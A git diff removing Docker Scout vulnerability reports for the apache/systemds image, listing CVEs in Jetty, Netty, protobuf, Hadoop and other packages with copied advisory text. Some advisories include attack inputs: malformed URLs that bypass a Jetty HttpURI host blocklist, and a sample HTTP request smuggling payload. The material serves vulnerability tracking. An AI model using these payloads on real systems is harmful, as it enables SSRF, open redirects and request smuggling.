- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-medium : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/medium-cves/sysds_output15-1.md b/docker/scout_results/medium-cves/sysds_output15-1.md deleted file mode 100644 index 18ba3b7a215..00000000000 --- a/docker/scout_results/medium-cves/sysds_output15-1.md +++ /dev/null @@ -1,994 +0,0 @@ - i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli - ✓ Image stored for indexing - ✓ Indexed 346 packages - ✓ Provenance obtained from attestation - ✗ Detected 11 vulnerable packages with a total of 30 vulnerabilities - ✓ Report written to docker/scout_results/medium-cves/sysds_output15-1.md -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:98fd77b0c3749d5d26fff317eaf6c1aa18e9fc98aa504b3178fd8a7215bbfd99
vulnerabilitiescritical: 1 high: 9 medium: 16 low: 3 unspecified: 1
platformlinux/amd64
size378 MB
packages346
-
- - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.130%
EPSS Percentile33rd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.033%
EPSS Percentile9th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
